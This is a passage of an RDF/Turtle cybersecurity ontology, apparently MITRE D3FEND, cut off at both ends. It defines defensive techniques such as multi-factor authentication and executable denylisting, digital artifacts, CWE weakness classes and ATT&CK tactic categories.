    rdfs:isDefinedBy <http://dbpedia.org/resource/Call_stack#Structure> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Call_stack> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:Pointer ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:StackFrameCanary ],
        d3f:StackComponent ;
    skos:altLabel "Activation Frame",
        "Activation Record" .

d3f:StrongPasswordPolicy a d3f:StrongPasswordPolicy,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Strong Password Policy" ;
    d3f:d3fend-id "D3-SPP" ;
    d3f:definition "Modifying system configuration to increase password strength." ;
    d3f:kb-article """## How it works
Password strength guidelines include increasing password length, permitting passwords that contain ASCII or Unicode characters, and requiring systems to screen new passwords against lists of commonly used or compromised passwords.
## Considerations
Extremely complex password requirements may lead users to saving passwords in text files or picking obvious passwords that meet the policy.""" ;
    d3f:kb-reference d3f:Reference-DigitalIdentityGuidelines800-63-3,
        d3f:Reference-Testing_Metrics_for_Password_Creation_Policies_by_Attacking_Large_Sets_of_Revealed_Passwords ;
    d3f:strengthens d3f:Password ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:strengthens ;
            owl:someValuesFrom d3f:Password ],
        d3f:CredentialHardening .

d3f:maps a owl:ObjectProperty ;
    rdfs:label "maps" ;
    d3f:definition "x maps y: The entity x discovers and records how entity y is arranged and interconnected." ;
    rdfs:subPropertyOf d3f:may-map .

d3f:CWE-138 a owl:Class ;
    rdfs:label "Improper Neutralization of Special Elements" ;
    d3f:cwe-id "CWE-138" ;
    d3f:definition "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component." ;
    rdfs:subClassOf d3f:CWE-707 .

d3f:EncryptedTunnels a d3f:EncryptedTunnels,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Encrypted Tunnels" ;
    d3f:d3fend-id "D3-ET" ;
    d3f:definition "Encrypted encapsulation of routable network traffic." ;
    d3f:isolates d3f:IntranetNetwork ;
    d3f:kb-reference d3f:Reference-SecurityArchitectureForTheInternetProtocol ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:IntranetNetwork ],
        d3f:NetworkIsolation .

d3f:FileSystemMetadata a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "File System Metadata" ;
    d3f:definition "Metadata about the files and directories in a file system.  For example file name, file length, time modified, group and user ids, and other file attributes." ;
    rdfs:seeAlso <http://dbpedia.org/resource/File_system#Metadata> ;
    rdfs:subClassOf d3f:Metadata .

d3f:OTControlProgram a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Control Program" ;
    d3f:definition "The file stored in controller memory that is used to operate the controller." ;
    d3f:instructs d3f:OTControlLogicProcess ;
    d3f:synonym "OT Project File" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:instructs ;
            owl:someValuesFrom d3f:OTControlLogicProcess ],
        d3f:ServiceApplication .

d3f:TechniqueReference a owl:Class ;
    rdfs:label "Technique Reference" ;
    d3f:definition "A reference used to develop KB articles." ;
    d3f:pref-label "Technique Reference" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:kb-reference-of ;
            owl:someValuesFrom d3f:DefensiveTechnique ],
        [ a owl:Restriction ;
            owl:onProperty d3f:kb-reference-title ;
            owl:someValuesFrom xsd:string ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-link ;
            owl:someValuesFrom xsd:anyURI ],
        d3f:D3FENDKBThing .

d3f:filters a owl:ObjectProperty ;
    rdfs:label "filters" ;
    d3f:definition "x filters y: An technique or agent x removes some specified set of of entities from the content of a digital artifact y, by passing an artifact's content through a filter.  A filter is a device that removes something from whatever passes through it." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01461293-v> ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/03344588-n>,
        <http://www.ontologyrepository.com/CommonCoreOntologies/Filter> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:isolates .

d3f:CWE-1390 a owl:Class ;
    rdfs:label "Weak Authentication" ;
    d3f:cwe-id "CWE-1390" ;
    d3f:definition "The product uses an authentication mechanism to restrict access to specific users or identities, but the mechanism does not sufficiently prove that the claimed identity is correct." ;
    rdfs:subClassOf d3f:CWE-287 .

d3f:CWE-573 a owl:Class ;
    rdfs:label "Improper Following of Specification by Caller" ;
    d3f:cwe-id "CWE-573" ;
    d3f:definition "The product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform." ;
    rdfs:subClassOf d3f:CWE-710 .

d3f:DigitalEvent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Digital Event" ;
    d3f:definition "A digital event represents an observable occurrence, action, or state change within digital systems, networks, or their interactions. These events are characterized by their impact on the confidentiality, integrity, availability, or functionality of digital resources, processes, identities, or communications. Digital events are essential units of information in cybersecurity, serving as the basis for detecting threats, analyzing anomalies, and orchestrating responses in complex, interconnected environments." ;
    rdfs:subClassOf d3f:Event .

d3f:DocumentFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Document File" ;
    d3f:definition "A document is a written, drawn, presented or recorded representation of thoughts. An electronic document file is usually used to describe a primarily textual file, along with its structure and design, such as fonts, colors and additional images." ;
    d3f:may-contain d3f:ExecutableScript ;
    rdfs:seeAlso <http://dbpedia.org/resource/Document> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:ExecutableScript ],
        d3f:File .

d3f:Firmware a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Firmware" ;
    d3f:definition "In electronic systems and computing, firmware is a type of software that provides control, monitoring and data manipulation of engineered products and systems. Typical examples of devices containing firmware are embedded systems (such as traffic lights, consumer appliances, remote controls and digital watches), computers, computer peripherals, mobile phones, and digital cameras. The firmware contained in these devices provides the low-level control program for the device." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Firmware> ;
    rdfs:subClassOf d3f:Software .

d3f:ImpactTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Impact Technique" ;
    d3f:definition "The adversary is trying to manipulate, interrupt, or destroy your systems and data." ;
    d3f:enables d3f:TA0040 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0040 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:LateralMovementTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Lateral Movement Technique" ;
    d3f:definition "The adversary is trying to move through your environment." ;
    d3f:enables d3f:TA0008 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0008 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:Multi-factorAuthentication a d3f:Multi-factorAuthentication,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Multi-factor Authentication" ;
    d3f:d3fend-id "D3-MFA" ;
    d3f:definition "Requiring proof of two or more pieces of evidence in order to authenticate a user." ;
    d3f:kb-article """## How it works
When logging into an account users present two or more credentials that fall into different categories: something you know (password or PIN), something you have (smart card or phone), or something you are (fingerprint).

## Considerations
MFA configuration steps may vary across accounts and in some cases left up to users to activate and implement.""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-MethodAndApparatusForUtilizingATokenForResourceAccess_RsaSecurityInc.> ;
    d3f:uses d3f:Credential ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:Credential ],
        d3f:AgentAuthentication .

d3f:Password a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Password" ;
    d3f:definition "A password, sometimes called a passcode, is a memorized secret, typically a string of characters, usually used to confirm the identity of a user. Using the terminology of the NIST Digital Identity Guidelines, the secret is memorized by a party called the claimant while the party verifying the identity of the claimant is called the verifier. When the claimant successfully demonstrates knowledge of the password to the verifier through an established authentication protocol, the verifier is able to infer the claimant's identity." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Password> ;
    rdfs:subClassOf d3f:Credential ;
    skos:altLabel "Passcode" .

d3f:UserManualReference a owl:Class ;
    rdfs:label "User Manual Reference" ;
    d3f:pref-label "User Manual" ;
    rdfs:subClassOf d3f:TechniqueReference .

d3f:executes a owl:ObjectProperty ;
    rdfs:label "executes" ;
    d3f:definition "x executes y: The subject x takes the action of carrying out (executing) y, which is a single software module, function, or instruction." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/02569242-v> ;
    rdfs:subPropertyOf d3f:accesses,
        d3f:may-execute,
        d3f:runs .

d3f:AcademicPaperReference a owl:Class ;
    rdfs:label "Academic Paper Reference" ;
    d3f:pref-label "Academic Paper" ;
    rdfs:subClassOf d3f:TechniqueReference .

d3f:AccessToken a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Access Token" ;
    d3f:definition "In computer systems, an access token contains the security credentials for a login session and identifies the user, the user's groups, the user's privileges, and, in some cases, a particular application. Typically one may be asked to enter the access token (e.g. 40 random characters) rather than the usual password (it therefore should be kept secret just like a password)." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Access_token> ;
    rdfs:subClassOf d3f:Credential ;
    skos:altLabel "Ticket",
        "Token" .

d3f:ServiceApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Service Application" ;
    d3f:definition "An application that provides a set of software functionalities so that multiple clients who can reuse the functionality, provided they are authorized for use of the service." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Server_(computing)>,
        <http://dbpedia.org/resource/Service_(systems_architecture)> ;
    rdfs:subClassOf d3f:Application .

d3f:ATTACKMobileCollectionTechnique a owl:Class ;
    rdfs:label "Collection Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0035 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Collection Technique" .

d3f:ApplicationConfiguration a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Application Configuration" ;
    d3f:definition "Information used to configure the parameters and initial settings for an application." ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/05739724-n> ;
    rdfs:subClassOf d3f:ConfigurationResource .

d3f:EventLog a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Event Log" ;
    d3f:contains d3f:DigitalEventRecord ;
    d3f:definition "Event logs record events taking place in the execution of a system in order to provide an audit trail that can be used to understand the activity of the system and to diagnose problems. They are essential to understand the activities of complex systems, particularly in the case of applications with little user interaction (such as server applications)." ;
    d3f:synonym "Digital Event Log" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Log_file#Event_logs> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:DigitalEventRecord ],
        d3f:Log .

d3f:ExecutableBinary a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Executable Binary" ;
    d3f:contains d3f:ImageCodeSegment,
        d3f:ImageDataSegment ;
    d3f:definition "An executable binary contains machine code instructions for a physical CPU. D3FEND also considers byte code for a virtual machine to be binary code.  This is in contrast to executable scripts written in a scripting language." ;
    d3f:may-interpret d3f:ExecutableScript ;
    rdfs:seeAlso <http://dbpedia.org/resource/Executable> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-interpret ;
            owl:someValuesFrom d3f:ExecutableScript ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ImageCodeSegment ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ImageDataSegment ],
        d3f:ExecutableFile .

d3f:ExecutableDenylisting a d3f:ExecutableDenylisting,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Executable Denylisting" ;
    d3f:blocks d3f:ExecutableFile ;
    d3f:d3fend-id "D3-EDL" ;
    d3f:definition "Blocking the execution of files on a host in accordance with defined application policy rules." ;
    d3f:filters d3f:CreateProcess ;
    d3f:kb-article """## How it works

#### Criteria

A policy-enforcing application can register an application for denylisting based on conditions including the following:

* File attributes
    * file name
    * file path
    * file hash
    * file publisher, as obtained from the digital signature
    * permissions of the file
* File malware scan (eg. Windows SmartScreen)
* User-File combination

This may be done to prevent execution of applications which are:

* an old version with known vulnerabilities
* without a valid license, which could cause legal issues
* in a directory that is accessible to low-privileged users, that could be accessed by a malware dropper
* known trojan horse programs
* too open in their permissions, possibly set to run as a user other than the originator or allowing execution when they should not be
* a match to the hash of other known malware
* are detected as undesirable based on a file scan runtime behavior

System administrators will customize the rules for the given environment.

#### Backend

The policy-enforcing program may work by running in kernel mode, and [intercepting] [system calls which execute a process].

## Considerations

* If denylisting is done by filename, filepath, or hash, these mechanisms may be a worthy first line of defense and detection, but could still be evaded by an attacker.
* Continuous management is needed to keep the denylist up to date, whether it is based on hash, publisher, behavior, or any other digital artifact.
* Although denylists based on attributes such as file path and virus scan could defend against some threats which they have not been explicitly coded to block, denylists may not provide protection from new, unknown, or zero day attacks.


## Examples
On a Windows machine the Windows Defender Application Control (WDAC) policy enforcement is run in the kernel and allows for restricting applications.""" ;
    d3f:kb-reference <http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ContentExtractorAndAnalysisSystem_Bit9Inc,CarbonBlackInc>,
        d3f:Reference-MethodAndApparatusForIncreasingTheSpeedAtWhichComputerVirusesAreDetected_McAfeeLLC ;
    d3f:synonym "Executable Blacklisting" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:blocks ;
            owl:someValuesFrom d3f:ExecutableFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:filters ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:ExecutionIsolation .

d3f:ProcessCodeSegment a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Code Segment" ;
    d3f:contains d3f:Subroutine ;
    d3f:definition "A process code segment, also known as a text segment or simply as text, is a portion of the program's virtual address space that contains executable instructions and corresponds to the loaded image code segment. Includes additional sections such as an import table." ;
    d3f:may-contain d3f:ProcessSegment ;
    rdfs:seeAlso d3f:ImageCodeSegment,
        <http://dbpedia.org/resource/Code_segment> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:ProcessSegment ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Subroutine ],
        d3f:ProcessSegment ;
    skos:altLabel "Process Text Segment" .

d3f:LocalAccountMonitoring a d3f:LocalAccountMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Account Monitoring" ;
    d3f:analyzes d3f:LocalUserAccount ;
    d3f:d3fend-id "D3-LAM" ;
    d3f:definition "Analyzing local user accounts to detect unauthorized activity." ;
    d3f:kb-reference d3f:Reference-AuditUserAccountManagement,
        d3f:Reference-CAR-2016-04-004_SuccessfulLocalAccountLogin,
        d3f:Reference-OSQueryWindowsUserCollectionCode ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:LocalUserAccount ],
        d3f:UserBehaviorAnalysis .

d3f:Resource a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resource" ;
    d3f:definition "In computing, a system resource, or simply resource, is any physical or virtual component of limited availability within a computer system. Every device connected to a computer system is a resource. Every internal system component is a resource. Virtual system resources include files (concretely file handles), network connections (concretely network sockets), and memory areas. Managing resources is referred to as resource management, and includes both preventing resource leaks (releasing a resource when a process has finished using it) and dealing with resource contention (when multiple processes wish to access a limited resource)." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/System_resource> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:may-create a owl:ObjectProperty ;
    rdfs:label "may-create" ;
    d3f:definition "x may-create y: They entity x may create the entity y; that is, 'x creates y' may be true." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:AccountLocking a d3f:AccountLocking,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Account Locking" ;
    d3f:created "2020-08-05T00:00:00"^^xsd:dateTime ;
    d3f:d3fend-id "D3-AL" ;
    d3f:definition "The process of temporarily disabling user accounts on a system or domain." ;
    d3f:disables d3f:UserAccount ;
    d3f:kb-article """## How it works
Management servers with enterprise policies for account management provide the ability to enable and disable account for given rules. The rules may include specific periods of time (eg. weekend, plant shutdown, leave periods), specific user types or groups, or individual users.

## Considerations
* Local accounts caches vs centralized account management
* Single Sign-on
* Role based vs Attribute based systems

## Examples of account configuration stores
* Directory Services
* Active Directory
* RADIUS
* LDAP
* Oracle User Account Management
* JumpCloud""" ;
    d3f:kb-reference d3f:Reference-AccountMonitoring_ForescoutTechnologies,
        d3f:Reference-FrameworkForNotifyingADirectoryServiceOfAuthenticationEventsProcessedOutsideTheDirectoryService_OracleInternationalCorp ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:disables ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:CredentialEviction .

d3f:UserInputFunction a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Input Function" ;
    d3f:definition "Generic function that receives direct user input from an untrusted source." ;
    rdfs:subClassOf d3f:InputFunction .

d3f:PlatformHardening a d3f:PlatformHardening,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Platform Hardening" ;
    d3f:d3fend-id "D3-PH" ;
    d3f:definition """Hardening components of a Platform with the intention of making them more difficult to exploit.

Platforms includes components such as:
* BIOS UEFI Subsystems
* Hardware security devices such as Trusted Platform Modules
* Boot process logic or code
* Kernel software components""" ;
    d3f:enables d3f:Harden ;
    d3f:synonym "Endpoint Hardening",
        "System Hardening" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Harden ],
        d3f:DefensiveTechnique .

d3f:hardens a owl:ObjectProperty ;
    rdfs:label "hardens" ;
    d3f:definition "x hardens y: The entity x fortifies entity y to reduce its weaknesses so y can better withstand attack or failure." ;
    rdfs:subPropertyOf d3f:counters,
        d3f:d3fend-tactical-verb-property .

d3f:may-access a owl:ObjectProperty ;
    rdfs:label "may-access" ;
    d3f:definition "x may-access y: They entity x may access the thing y; that is, 'x accesses y' may be true." ;
    rdfs:subPropertyOf d3f:may-be-associated-with ;
    owl:inverseOf d3f:may-be-accessed-by .

d3f:may-be-associated-with a owl:ObjectProperty ;
    rdfs:label "may-be-associated-with" ;
    d3f:definition "x may-be-associated-with y: The subject x and object y may be associated in some way." ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/13804981-n> ;
    rdfs:subPropertyOf d3f:d3fend-object-property .

d3f:URL a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "URL" ;
    d3f:addresses d3f:Resource ;
    d3f:definition "A Uniform Resource Locator (URL), commonly informally termed a web address (a term which is not defined identically) is a reference to a web resource that specifies its location on a computer network and a mechanism for retrieving it.A URL is a specific type of Uniform Resource Identifier (URI), although many people use the two terms interchangeably. A URL implies the means to access an indicated resource, which is not true of every URI. URLs occur most commonly to reference web pages (http), but are also used for file transfer (ftp), email (mailto), database access (JDBC), and many other applications." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Uniform_Resource_Locator> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/url> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:addresses ;
            owl:someValuesFrom d3f:Resource ],
        d3f:Identifier ;
    skos:altLabel "Uniform Resource Locator" .

d3f:Authentication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Authentication" ;
    d3f:definition "A request-response comprising a user credential presentation to a system and a verification response." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Authentication>,
        <http://wordnet-rdf.princeton.edu/id/00155053-n> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:originates-from ;
            owl:someValuesFrom d3f:PhysicalLocation ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:IntranetNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:authenticates ;
            owl:someValuesFrom d3f:User ],
        d3f:DefensiveAction .

d3f:Email a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Email" ;
    d3f:definition "An email, or email message, is a document that is sent between computer users across computer networks." ;
    d3f:may-contain d3f:File,
        d3f:URL ;
    rdfs:seeAlso <http://dbpedia.org/resource/Email>,
        <https://schema.ocsf.io/objects/email> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:URL ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:File ],
        d3f:DocumentFile .

d3f:SystemConfigurationDatabase a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Configuration Database" ;
    d3f:definition "A database used to hold system configuration data." ;
    rdfs:subClassOf d3f:Database .

d3f:may-invoke a owl:ObjectProperty ;
    rdfs:label "may-invoke" ;
    d3f:definition "x may-invoke y: They entity x may invoke the thing y; that is, 'x invokes y' may be true." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:weakness-of a owl:ObjectProperty ;
    rdfs:label "weakness-of" ;
    rdfs:subPropertyOf d3f:may-be-weakness-of .

d3f:CWE-664 a owl:Class ;
    rdfs:label "Improper Control of a Resource Through its Lifetime" ;
    d3f:cwe-id "CWE-664" ;
    d3f:definition "The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release." ;
    rdfs:subClassOf d3f:Weakness .

d3f:CWE-693 a owl:Class ;
    rdfs:label "Protection Mechanism Failure" ;
    d3f:cwe-id "CWE-693" ;
    d3f:definition "The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product." ;
    rdfs:subClassOf d3f:Weakness .

d3f:CommandAndControlTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Command and Control Technique" ;
    d3f:definition "The adversary is trying to communicate with compromised systems to control them." ;
    d3f:enables d3f:TA0011 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0011 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:GuidelineReference a owl:Class ;
    rdfs:label "Guideline Reference" ;
    d3f:pref-label "Guideline" ;
    rdfs:subClassOf d3f:PolicyReference .

d3f:ProcessSegment a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Segment" ;
    d3f:definition "Process segments are distinct partitions of the memory space of a running process.  Heap, data, code, and stack segments are examples of process segments." ;
    d3f:synonym "Process Memory" ;
    rdfs:subClassOf d3f:BinarySegment .

d3f:SpecificationReference a owl:Class ;
    rdfs:label "Specification Reference" ;
    d3f:pref-label "Specification" ;
    rdfs:subClassOf d3f:TechniqueReference .

d3f:monitors a owl:ObjectProperty ;
    rdfs:label "monitors" ;
    d3f:definition "x monitors y: The technique or agent x keep tabs on; keeps an eye on; or keep the digital artifact y under surveillance." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/02167732-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:detects .

d3f:CWE-668 a owl:Class ;
    rdfs:label "Exposure of Resource to Wrong Sphere" ;
    d3f:cwe-id "CWE-668" ;
    d3f:definition "The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource." ;
    rdfs:subClassOf d3f:CWE-664 .

d3f:CredentialAccessTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Access Technique" ;
    d3f:accesses d3f:Credential ;
    d3f:enables d3f:TA0006 ;
    d3f:may-access d3f:PasswordFile ;
    d3f:may-invoke d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0006 ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-access ;
            owl:someValuesFrom d3f:PasswordFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:CreateProcess ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Credential ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:ATTACKMobileDefenseEvasionTechnique a owl:Class ;
    rdfs:label "Defense Evasion Technique - ATTACK Mobile" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0030 ],
        d3f:ATTACKMobileTechnique ;
    skos:prefLabel "Defense Evasion Technique" .

d3f:CWE-710 a owl:Class ;
    rdfs:label "Improper Adherence to Coding Standards" ;
    d3f:cwe-id "CWE-710" ;
    d3f:definition "The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities." ;
    rdfs:subClassOf d3f:Weakness .

d3f:OSAPISystemFunction a owl:Class ;
    rdfs:label "OS API System Function" ;
    d3f:definition "Indirect System calls are made through an OS-specific library (like glibc in Linux) that provides a higher-level API for the system calls." ;
    d3f:synonym "Indirect System Call" ;
    rdfs:subClassOf d3f:OSAPIFunction .

d3f:SystemConfigurationPermissions a d3f:SystemConfigurationPermissions,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "System Configuration Permissions" ;
    d3f:d3fend-id "D3-SCP" ;
    d3f:definition "Restricting system configuration modifications to a specific user or group of users." ;
    d3f:kb-reference d3f:Reference-HowToChangeRegistryValuesOrPermissionsFromACommandLineOrAScript ;
    d3f:restricts d3f:SystemConfigurationDatabase ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        d3f:PlatformHardening .

d3f:NetworkTrafficAnalysis a d3f:NetworkTrafficAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Traffic Analysis" ;
    d3f:d3fend-id "D3-NTA" ;
    d3f:definition "Analyzing intercepted or summarized computer network traffic to detect unauthorized activity." ;
    d3f:enables d3f:Detect ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:Detect ],
        d3f:DefensiveTechnique .

d3f:OTControllerOperatingMode a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating Mode" ;
    d3f:definition "The OT controller operating mode designates the specific, selectable state of an OT controller that delineates its operational behavior and governs access to engineering functions, commonly including Program, Run, Remote, Test, or Stop." ;
    d3f:synonym "Keyswitch Position" ;
    rdfs:subClassOf d3f:OperatingMode .

d3f:DiscoveryTechnique a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Discovery Technique" ;
    d3f:definition "The adversary is trying to figure out your environment." ;
    d3f:enables d3f:TA0007 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0007 ],
        d3f:ATTACKEnterpriseTechnique,
        d3f:OffensiveTechnique .

d3f:DefensiveTechnique a d3f:DefensiveTechnique,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Defensive Technique" ;
    d3f:definition "A method which makes a computer system more difficult to attack." ;
    d3f:display-baseurl "/technique/" ;
    d3f:synonym "Countermeasure Technique",
        "Defensive Capability Feature",
        "Technical Security Control" ;
    rdfs:seeAlso <https://csrc.nist.gov/glossary/term/security_control> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:kb-reference ;
            owl:someValuesFrom d3f:TechniqueReference ],
        [ a owl:Restriction ;
            owl:onProperty d3f:d3fend-id ;
            owl:someValuesFrom xsd:string ],
        [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:DefensiveTactic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:date ;
            owl:someValuesFrom xsd:dateTime ],
        d3f:CyberTechnique .

d3f:SharedLibraryFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Shared Library File" ;
    d3f:definition "A shared library file is a file that is intended to be shared by executable files and further shared library (object) files. Modules used by a program are loaded from individual shared objects into memory at load time or runtime, rather than being copied by a linker when it creates a single monolithic executable file for the program" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Library_(computing)#Shared_libraries> ;
    rdfs:subClassOf d3f:ObjectFile ;
    skos:altLabel "Shared Library",
        "Shared Object" .

d3f:Software a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Software" ;
    d3f:contains d3f:ExecutableFile ;
    d3f:definition "Computer software, or simply software, is that part of a computer system that consists of encoded information or computer instructions, in contrast to the physical hardware from which the system is built." ;
    d3f:implements d3f:Subroutine ;
    d3f:instructs d3f:Process ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Software> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:instructs ;
            owl:someValuesFrom d3f:Process ],
        [ a owl:Restriction ;
            owl:onProperty d3f:implements ;
            owl:someValuesFrom d3f:Subroutine ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:DigitalInformation .

d3f:ExecutableFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Executable File" ;
    d3f:contains d3f:Subroutine ;
